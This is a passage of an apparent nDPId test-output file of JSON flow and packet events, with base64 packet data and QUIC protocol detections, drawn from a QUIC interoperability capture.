Y3AG3jCsYvczhQt97g+bEAD3lWpSQqlnbIPVaRxSBb\/m++vYk0m7W88TjbXZd39\/H0cIlTvJ\/Z0SYJpuIBWlYvloAhW8wQNQxVyWnDT8EGTCZMIdSLrubgSgxklIcQghvYxGjlenv1U\/xWA4GVcvaRa3KIrmqe9Suq7Jbom9YtFec\/KcUQuypqb9vLHQd\/Slh\/IgOY2LIPbfGrFqtZ5IZSSAFLezKKTHeEUDMMIvjY6nNjfQvhye7w\/iK57ylN1XmmiCsHB2UUISWzLgrbBn+zFoD8q39CqH1PUlQIwDNgZ6s2PfqPEu+x2StileWyY9B4yefqdiNXFJ7u0v6qBj8LUR9\/ZHKs9wt4Es5WiMRZRGcohtyH5Q2qGSEuh57YGdY2plV0kqxOJJg8WuHGwG80hM4Tuuqa2qTyvzRzxBzkkv7jnWbsOt8w6eogTolB5Yq2lNlcox1ozX09J\/4y2Mgjm9fxydUta2PLhNKNF24FGjs9TlXrGvWStOf+FVD0GqXkj4kfvlc5hUlqiu\/hxYQyz7qNm\/6LH0VCx9ePdDf6W4APXGgkkBgu34ndfqUtg0Sa2fWK+OElqxxZw1+Hjyk43LjolIsRbpcWkcSLKwQP4O5jLw4EENRtGoAdziVGhmLWY7AyDGDqDXD+zk0FkOZMfIjeyouDPo8iAsGYm9Ha0mLEq8OysomYrCzakDZNst43uj50cSwd\/VS+ATJsBvZ7N7sRLvBamrC1umCD7i4s16sQmoEu\/PSvNXlSeypCfAg2hJAeLhcz4\/B0WcrTcIC8sTScPAH3uwzv2dtb+6AkA7ey192Tem0ngjhVi9gaWtU5sFQIbMZEgPIufNBRz0zG92jR202hKnv2tVs8fpah1QPJuf+kSUD28xqWVBySjEINK1zyjumcct4vfD2Rv2hsFuDdEnRtRcJ\/VHoB5zsNZ72V1mw1n3OOM3pVkY4\/rmTj\/xZxixYjGJ4hQmi3ZfkZHdBqMDfT25BKOJoR4wohoVf2vU49x7VJnCxuwjZ+PxxTyZPpwTwZZg9+9l1NkFrr1xb3oTJlb1ej2KIFSLLbYLLG40yc\/N4lOiLv0z\/w=="} +00531{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":66,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1603816434685,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2604:a880:800:a1::1279:3001","src_port":53760,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02105{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":685491,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gCmkdBNgRQCABCwcKydWupNP+R2kegH0mBKiACAAAoQAAAAASeTAB0gARUgTYZd\/PCgoKCgjoF2NeZfCaVwAARL7J5XVlyOrShWgSY1170HREhMEudzqX7b4Uhkojh\/MAMJlRFRdXrnf0lcWEClMJfDhoWlt0RFozrof+Pnw6B4\/ZyoD0RVgGp53poT7G9iC\/absqyVIsEHLsIVC5iZKsIfFtdWkKkdpnRNCGnT3VGY+lFXxBZPJt0vOu0Y2zKMRZ1lC610Klnd+ZJcx\/qSoPqRUIsoETASUmzbWQ7TdG1oxWQGH3wcVc\/v0ICxVUtoMYgJeXx8betPxfyREuBm4E4FoTyJhXcui3XIN3o0Due9ptbZ7SBfuGpb8TN46lwteVUqUUJ5Xe9lf39a3FP9dO2Xqnjw\/WZZomS7Iw1nD9mfjLCEsYGSPz8KBf1FK8U9BWWKadaREsfFGSsUnk3AD67edvUllQXvSDtlbzAUvFF3HIenC2Cy9ysj2h2ptZLfbFln02ZGCulECgFzFtpNDys561LCsH00nvAhS+\/pbJhKpkIQwt944Www\/ODMtfhA6WoAEpgpG06f42PQF9unibmel+Q1UkCV\/Sju8NlC7DCa5v5QN61TvjaWLK+67RDNsHdrusmUnxS0Qw6MgCr1XJXgSd8aQkDA+Nthb+EBlxmaEXwuybb2XuVgqC4V6G6xFD3Gim1RJcrCQKLBGVfueSLYvhKVwT8SeP4SR+OZfWoWq9fjTaViFhYYCsic+3myY3YSADfawnGFA+SyhJdTjrJj9L1vETLMfU6LQ4fjJs\/8YN6WcxBXdSBCin3bSBe2urzqaduq+kb17UjxDbg4QJxXnAa7r5qUQIYXTqC81D8LDrVnVZEVBGUFKebfrcgAxOMID2c3r9c9lUOsj+C6sMlckNXJelOsGIB83E1w9dml1EmevOJyz+MzHSmFAJVMeyfthe7Acpa\/6iTFxUC2VqHJlZjwCn4\/6wRzHC9TG9Zo5VPWRd+g6TJGNweOX8P\/9ZlB9RFiPwzvHlNFT6b3Mb3QxWLg6Ttmg0E+ML1rtxKM7\/yRgs5vxr\/diUa1PzRXjEZ+f5zpp2kE91jKJH4+73tgEQMYk7Eyd89yRmygltVrH\/fU3Ue7GrFhffvVmLvE35MSx0aH6IGdc\/U1oMjWOy0EoTkWjTh0p859\/pRscc2n0uSgJ0X+9D\/EbzkVIZ39Oi5k4wHfsZGD8WTv3IQhB4KGqrNsOYfHpEFOYsQdn9gLcQXwn4iTTbKaZ9rDik21mQSKdUJWkKqJOll6AYoarRO+2QwNgtxGGc9KoDCliYHauCpZ+lGYjtpy5eB2tibMJTLE0Gnrzi6TXFgGqp4wUvIqEqIQ7kO3WFekwujCNCYafCZWYtZ66P1CWPtvc+cRSrUO6Bx299H6EewArx3M8oD1TU7RZVYNta1PmN9bWQg7109Ib8Pk3crjfxcU0dAj+led14LXpRrlgp\/QeJZZuc3wsMwiTDPy3TJcx5+ZXKykG0+Rze8up6KNJ0TOkliR5SFYCrvJk8ixSq\/yqeCqIEYozf9Q0bKCLl8\/Buyu+IUOQ+uNeuzWzi4apJbhNBlCaMuCrdvdjkQpiOWPf9EVqBWcYwBbWS1gM7Y0WFCSCyXc2PxB78fF4bL4IfjxhdAkZdz0MrFIiD9A7sCWzJyDkoQoFSPdTAM2SY\/PtnrUK9nA=="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":66,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1603816434685,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2604:a880:800:a1::1279:3001","src_port":53760,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"http3-test.litespeedtech.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +01149{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":686051,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"PKn0qB\/spJGxgjQ5CABFAAJA9+cAAC0BNK0znmliwKgBgAMKTnsAAAAARQAFAF2XQAAwEYktwKgBgDOeaWKwwhFRBOz8KMwKCgoKCP1n32NN8EnlAABE0jB6HybCFUbabkBlXXQVvewn7zDYehbLSZDjKVLf8snzKJdjR\/3JsPdO+vxlafCYsOkUTueZwJWg10Sg8fn0URQdzFi5gf\/QXZQO6ykhfm8a5Zr2+yBt68dnry5zhANveVge4e8snv2G\/EjNXJKG6Jyq2Wd1UiHDsng78dU6PMilPEvqoDuVAeleo92UeM\/LYmvYaEQWibrlo50VzyM0Qv2OE8uBtE0321S2ppuHo\/ubVRja900u6Tdl87fZa+TqILwJoqVX3KxUJszQP\/m4sTr7SSAg4d30fbCCPgGuhd5vecogxfB3YV8fE8VleuNDGZEznGuTG3MEvmD8\/iDQCIxdLNqMLq4OHJR5K0P4db2PcHy\/HGrvnaBUxSsUFpFbt7dov\/pgLFhL9QjjASYLcFmP9aDGJ4WvT1nHm+247V70NABa4wQtolKRPLihtpaTI978PvhAx7OA\/FDrMALGCkkd0Ckzcuf5\/RdiusGznuJWz6dbRFAvYuAY6z+uTeSY3eMIQi5VhMcXXLlIqpnkVl9ay3z8cpya5MO76mkRAtNLAnc4uy4dq4IdWYKxFDEs514DLZLoll455nZesjVL6SKL9qMReSCKhO\/op5kVDv+GxSpbs9KycUr8HjhlDhtOqnPPf31XxGL0FX0honv9o2mTwKGu95c="} +00469{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":688708,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5ht1gAY5iACMRNCABGfAABAA0AAAAAAAAAAEgAQsHCsnVrqTT\/kdpHoB9EVGLOwAj7QnAAAAAAAAINUX0m0oVmLXKOtq6\/wAAHf8AABs="} +02106{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":693386,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUApABAAEAR2hTAqAGAA3nyNu1wEVEE7JhqzAoKCgoI7mu7hqnhXwQAAETShPHzPPAkQK2NEhJGnleHaiN0ie5qTdnm464jrXCgs4dpEiXNx\/PGBx7TOLjXnxLSumidbRKwVj0cRR128B6iHNMflXwQht2t8Y44LmwMqcGdFgLa+9ZMaGseDnBaSdSq\/BTPBASRNPP5ViOFASdiCzWBBZ9WWzIm4Zq1cmr1m+3KYiXPZ4DYcjOiBC+RnrFuinz0kYMk86K9x6ewtyvVVkz06rH\/0pP52NDoXW\/b\/MQkNjC8KUi9qGQJPKOuv\/DmccHaQsbHCmJiyo\/0QNZTrabAtHI7akrTZimPvxnGDDh3iKeWTI0Rt9dVSQExok8KND6xq3GcpnEKSLoNMV4xJO\/u8Hd3ib0ZTAW90kp9rc7u7p5ChlZkz1hOn6CQxtLF+4Q0C+LoqzxjzQ7yi2OlbBMZIKyzLtWw7xW299MwVnAiFEtj5S1RjtdQdmj6SAPB0h4vvOCMTAjBLrzNUIzUQQ4418YwmRANW+EzePT6mR1Ale6pegThd1LeXLddvoztOKGJo5TEa5MgYMehxhTg2TXP6YXaavnooLGg557tbafcTn3wzp5jbVUwxY9sKGj16QzN8+Fynpug9j5\/9WGOFqWFzcYqmUsX0\/xG2xH8WvkKARD0l\/sk42N9NbTB7Ss95x\/zpvrC7DRs8wzKYSZy+NZzyMWwe4xcTPC8pdC3jzhcEXdF2RnCaPHIghUD9RT4W1CfQ1kNWOulxGvcIr6FHiUeq9MpQR4aV5XkRR5Ltsm0vYQyB2x6O6vPlGQo9UKOc2XAIsuJ\/UbYOmk2NYvlK5HnPtbkhJY\/IiZ7z23icAn3thnf9kKY5ERwFbNb\/un4e9T0EmsPw2t0OaIH16APDL4fOPl6+1VOOMCOqaajX6JJ\/\/VzPWdr3Gs+W1hKm0IJjwEBhbsb4P0Y6VCEvVHsNI7mTVZMkEAua9fwXy2V4utejHZLSRSgMPQJSvLG25D\/bKthcwd1lVPwIPmwpCJB1fyQWm6AhqFghO9Zupebv0zgTmzy1tLUnzVFLEzE4ypNxUpFeb7gzSfiS6a7+MCybpQYls379X4F53iU+GTINzG20LYm+XcA+4YEJemBM6vBH5vOwhicXfh\/S4xBSLLLmN+mSkM6sSSr11u3IsDj4PDyBLrk0cKt+Xez\/nYA53eqNQH8wobiK\/1UcQl+9e0C3Q5AQcsBs2MRhY6nnaLEFqMO55ANIVeq58cAWZ8Kve4BjvDSY3uaBdKWaqONn49IjBfiSMz4x\/Xbh8S6vECtoIhrWF90MTfHWh3iWZB5qXTSIFhe9owOmMU\/Usk6Uy8KzZy7KTlRZYfDqKbq7rcX5VnkanJDx7H6mBhnkfHnaTIQA9b0kFHyqiee8gwXA7SB4zEGStKbfX+Xbd7g69KwswEs89ObtiGhZFpjbWTpwnRcI37GAOjv5pgd2XQz9GL44DG\/Ek00OMz6SwbWFlAmxoWux+qNRG3HPl83lY7zEH0gjFnGpuAsctOGn\/CIgy+CcWiM9zeH26eSXIULjy6o2ia6cosWL5oxm4nSmaOz1jSNsNYx\/IuznZBNLujicdVabLMIwM5jHV5RNtJl7ORe2vMsPayIVVzDvXWDnuN4jRMZKSKWRDE7oTL2N532z74L8ugCqSdHwRCSsBvtnIezk0Djtg=="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":70,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1603816434699,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"18.189.84.245","src_port":54570,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02109{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":699019,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAFhRAAEAR9f7AqAGAEr1U9dUqEVIE7BnSwAoKCgoIQzGFVS1wWEYAAETSpZ4u7UFA8Ku9qqY5kvFyNpSxiT1VV17cPvqBwMv7ghXKw28SABJKpVUQZhos8gZxtncfEnCPtRM8w32S0cMZDs5YJHMDp+qFqUFXljAhASDeFUYMjqqmqK2xXAN3z8w3vQiOdFiUtKcYWIVDP\/7fu1wx3cHjtnddQmoALaCYC2KIbsUH1tUKq7vT\/+BVt77LwCKryVjemBqkvXXluDjghTk40ivSQ8jJyGleEHicaKXla1GVH498NloK14kN7wg0ok7tb2sKhAfFsmt0dyCnuo0IC82\/BgTcTshonNbNn8yhRQBgaJANTlBk2qWY0ux\/DsdHPsovpEqFcqjpqtsKjJ\/5p6SGXORi9dQLphct9xf1v+6F1wTFVWPe3eHdsSOyp\/BwELawr\/f5+1egKWq7+4mbOVH+FCDZRkNVIFyH23guM2L5ae29avq\/lWL8pVDtTjf8abgfWtxqcSisE4YkAeGaq1eE5OG55ZyClHKNDn4L9XZjjbN9CQ1GCe\/OFVXpMI2PfEiWcGmIKeNgYRq4gzlAZODLuPV4QBEq7ZKp+5NVSaLqgSfrcH6xV4wE+0j7r5VEhvr2u6n\/\/bPNSsyoQaXU5+q7Q0w0lQEj77lMwQmrPw8Gljv7480G9NdUwkd\/\/p5S1RtQdUh\/qH46a+7aNhOrRHoFY0Uu4OeMbqyUyS5uevO+F6ddSemZlHL7dBD608g5QoisaEMsylH8q+6GxQ3RHsnKKd6RLtVMJcIb3s7eslhdiZbkyC8WugF1Uqbss8ag8jYafm2G3uWVNTOT2Al+MzrSr8taRs+g5iy1aJrDEMOzdQltsGCgG+PytPM2beF4Lq0IbrxQNCgE5IJ8\/Y9zeDmnJ4YuPZxOPAfYb360+E01gUjgcPnkzGMH3BDGaQWI5R9EypmAunCrFBomcVpqmknXQt3kkvX2OcNmQNIJtzXRbps8SEeNZRyPGf\/u+Vt+vdAKZlK9BUH2ROm9VEktt\/tTi8rHZSmWXH5uaAhoAcd2e3heLdg8ch4sYkqsJ1RM4Bd84Sjoz2WT\/JoF5Jn56aKdYJgDXqR10AhI9yS7PKXqAOUJVXWVnPWUzccZcD251mjyMn\/3GgjEsaksW4aLFNi7f\/QSOqeUIKFWMvnizPSh25WGY5rgFsH51tkf6hz04KlSxRXrJr0LIOYpZWWk4Z9QNd1K7akZKN59RDZMEAAGot\/SFcMVuXXKWbOlkRF3PR6IvnUq9PUtkadRAtAQNhw2A0EhGpp4ig24HdCqTnTlX+RSyn91Y962otVZtd4BhAeT6BQzG7\/NfJ9QU0qM31UlaB1H0R3mj33T6fLRu\/gftOixAPS4oO8hH1yfhcS8101GVhNDngCpOFPDr4rVR5IXS0BzEmSymuwkNKBp\/eXteAUsH19jQgtpJlB\/27Cf644Gbzfhi6gaDA1HPNpmXHxNHTWNp3TatC1i7mgiF\/z3wnwpcgZfu7NgfWsvkOlTH1JrhvlpguHwOE8X6csJxnEP2vFDhgFZ6S\/l6TWUOJpertvpldvGLMawH9EAcvDIDM+HIUbHJDdTMzgDd9oEnVJHFpIlh0JUOzKA7NaFr5ofLRvRbxomK6JpYR2wIpU\/OYM3aMfHBOnsu4q\/k76iU5zYtsHGX5zTrd9syVHbfA=="} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":70,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1603816434699,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"18.189.84.245","src_port":54570,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"fb.mvfst.net","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00439{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":705146,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5CABFAAA3PkpAAOIRsJYocL88wKgBgBFRtfAAI3\/u0QAAAAAACFIdWLoQ6nMg\/wAAIP8AAB06SjrK"} +00534{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":72,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1603816434707,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2400:8902::f03c:91ff:fe69:a454","src_port":44924,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02111{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":707537,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gB7v\/BNgRQCABCwcKydWupNP+R2kegH0kAIkCAAAAAPA8kf\/+aaRUr3wRUgTYXLjHCgoKCgi+3m+0woW7wAAARL68vqjG4rI\/AvdsCirEkqkyqlwlEk0N+rawpRZGeCeIU2ZO32fsIEz3GXMviYe+v0IBqeytpgNCeytK9t+KOjotJ7QVqpveJICd7IlMjO1HSAYVU5lRgXMoT+y5Fi2RUxr4qo\/CS3kZAFjeRFuCIjbZwm3OtOHC+vVlVA\/Vw\/zluUbCb4Z9OC05o\/XWJAPFWPOrEt8\/bTpMWLzNYr6bh2AAai1D3O2xoHVdm8ri3GSO8bUq2pxMjIn3ptNmbrkSU87wQZXGqhVeWh1ZsC0DBFqUluwXb0pMgCqpEO80Nhq5+u4y4i3hGodT0H1FKzVcs3ew3eq9vaguwDBdaKE4exJJv6RCncKSyg4heYydolHckhPW\/oY2HqheA4pFoO8ZtX95wKBFjVm9bJpYTJJY\/z31z+aUhWVmurEfLmnYxlCSy12hLAruC+gNCD8kQ\/MW4jyBAG6d7BTS1znq6T231\/W7l3AXMCvXfMcFqFuj+gmi\/S9kywNWZ1fPa34hHlg7mTIWR7jlUo6tzEfq2oqDEs+5yTslMb5FZJK8ldyYKgyBcGRm4I\/ToW88j5u17EMJLsfUqwGMs8bmd2UsI3BzwJywAmNYdLVpOCfPHEMiC8WRAAlJ3Q+5SLhd9OVFXGtu7O6XRhOsbmI08WdrJBm5J9ucdgzWkbl3i\/2eDZiYxTYiiBKrxh1bpbDEXg0VTkBcE5jASPmJB6nxZm61WNxz7BBfHP5VadrI26UgUPsDMVwEUXD\/xbFcS2J1PJleFnNI2j+1DmMCTg5N9ExM1u3\/T+Y0uyk6l54KxtzqSgjBsg\/XhFcM\/ODubgSuXCIsXFgZYQWzYGSVjfGtlg9HMWTHqZ2juNRwZqE5L2Y1hMws3fsY1ili8zQQG6pzQd9m5PP\/4DGWVRfKxQ1ZOXjzlNFvAo1T8tuTM\/f+7uMOnSwbTJyF4JRbDwJLDbu2BiW4DyD++iUHI1TX2h0xwwlOfDtDU\/XKqzZV94CRnghKvgLSuVmReTC4nhbhAh1QzzHb4eVcBbud+vGs+t+FDW0s9Oe\/hnHEEnZnUGinZBTzGSWQRNGZp3cg0jUT4QPjdPy8XyC\/POLdeCDrPUB9mDaW3W7rOPVTXvP4IQV+x5zM0ESasNezQs+QGprgL1EDIBS8hvpGgXPlFZ33Fo7w2YppnMED08hMlvAS6uJ4t8YNFbTXcL5HnggJFHBH27Bm3yvE8hbfH6SwVufZ8xM+Tw3qfg4V3lxg8P8AwO4P99Fk6O5149Oq6tAEtMX+WnBYLaxWrBiKCCuc5plEPAU9\/ZoPaf8l47lpmb56KdTriyN73TanAKwfbP6jIuj4uNIxQka2RGbqyo\/uLCe+FVRjf9R6E7hPl6i9FsmDl51lDdfvDGWrftns8EcWHuJT1pCO7UIHJob2JLCsxavgPAwXAF3a5o1+uVFCKwWrw3snRqgYx5CEEXaScXy50PTK\/knIkowD2tWEjgiJ8xxxjFamG8tuawm7Urqq2+BqDf1V3I5W+o4QxOSaFEJ\/SP7Wg3EEs5WP\/+ds9hapCjPQlUIlkyNKi8R+ri6pcpgmc2WXtbdLyKWIrR+mhOTL4VpBkPN\/EhoXvYOWO65B7Ac2ZRH43fZmgo68Sg=="} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":72,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1603816434707,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2400:8902::f03c:91ff:fe69:a454","src_port":44924,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"nghttp2.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00448{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":709551,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"PKn0qB\/spJGxgjQ5CABFAAA7AABAABwRNNgSvVT1wKgBgBFRqdMAJz2HgAAAAAAACN6xPRoCi6ch+s6wAvrOsAH\/AAAd\/wAAGw=="} +02111{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":719606,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAschAAEARJZfAqAGAg58YxobPAbsE7L65wQoKCgoIJv2XczUh4RIAAETSm4e+jGeUlE\/B12fljD+RqcpH47cYVTGlgRrNPB1pt4i\/tbOCC9Ip3Az5ZlXd\/FK3y+qA0RLTj+Hs3M0j8vRCArTbVM4C5NgRxsbhmviOgStjfj9\/bYsZv\/EjOBw1tJ7JBggMh5UbD2IApoVeQbXiGPK49HtmmZ2e8vNh\/DENBlDkfNiA\/Ze5qo3h724av1SIVZrOuvswt3oWie0bK5Roue+xJHmSYlIdNZfnzXpwBh7c35jaMUWDvYBeZmckm7kJc\/YlpNj25UQZsKAQzZSxGyFkwPWE1VZIIf2sR\/CiM5RFNmS8PgkHq67u5CQ3Sonb6Zl53+rO66OPeJhUkGQNaSql8mMy7iu+inJtNa+Jv8r+Mk+hsReHOd3O8emp6fJ1y9UM73fh5DirDtvnZZ3V6jRJ2r4Rygc+0kMBn4CyZ+getScc\/+R2siF\/4EkcSN\/DfCIEwaf5cBdqU7sUr9jhm8ebduyUf8MMp0mo8YLH5Ld6gayewdIiX7e5MgOtKMtgw+6gQh+Bv2MsHuSZkTMTDQf6U2V6WVpP0Y9J+TKxzWfaCPfnLyfJhAvO09EXRL4v5CauDRrgK66O64n5FFSoPkt\/cTCu2ZrnJUnl73ZUh5IMHcF5qrpyNgwYRdzmLOBKKUcbZsDmgTWWmVQic025bFbbeJANUemP9rPrhK8vpdcFoj5tc09KJOg24DVw0N\/8s0k41J4q5XkRqvAq3Jh031h89LKhx6BQhfHBc1CWUzEmpurvpV2Ys4EtVyEOa76yxKI9JcwQIwxvIQGEJ9wsNhbJGOcCGN65fV293I4+Q6O6oqi3DRDkz7R3WSxRmE3ALQUURzNbLPzkf5OpbRxMjRgBCXiLLxDLAMGYwM3F2kI+ZHH4x55d95IB1d\/psHRZShyVEYlzUKCnwu29d26MEawfpZVAaMzVRo7xXV35ZRY1D8\/9qSuz0fyLsjjlwkVcHKzvWu8cUA31sZxhNy8BdqKz2pVYPgrewKlXoKgRl99L31koA071JJjVhvzH\/gU32UecgmYeQp250l9S+wco1ff4R4UyUmOfphDkNe9Tg\/fRpjxgKleIR8kU42W8ME9YzuK+U6l+SwzLtodLt+wCvEs\/5vVCJoajkAEX1WivqyUrV84SFPKxXwpiL7TWr5xgs9A6ntAG+LEQ4Fzm\/5n84NssQOABVYGxSC+XA8kEi5T+j7oP5Z\/shgDlJzIXGmWwZLuGT\/FxXFjW5dDx3DqqqjLeUaGgzxk\/EyBCH1h+zMLqNGXZu5UCHMlMD0h27AhID+7gDIkyKn3TFzqvA52QgVRJ5KzL9Mb0vBqkit66U3SK0k0xi\/SfXE85fTw0NQH2x4wd\/v387iGFuVPBH6D0J7PwX5flRLQgBtOy5jnJbhc6rzs0BouQP8a1FymWYQx9YUWzK8DXbNzSVWzXnmMxjgztNz1o7b+kh5m6wUcvmLd6ZGQW6FIkZrd0dtEs\/RrJ1+OEeg0MfVSwR9Ik1PmVJoBjjnSVS\/EB5t+GQt0btx30I4eSEVuRu2nS\/9zrg3dvua9zEzH6y3wCr08vFuCZT1u8r3v5iOQmHyKv5pfKvsINf\/+Z3UqZAAlmAb7gj\/svvnlt+IBIlM\/2nf4NpSTCux5l816mDS9Bl2mt29n21gH0vw=="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":75,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1603816434721,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"138.91.188.147","src_port":39975,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 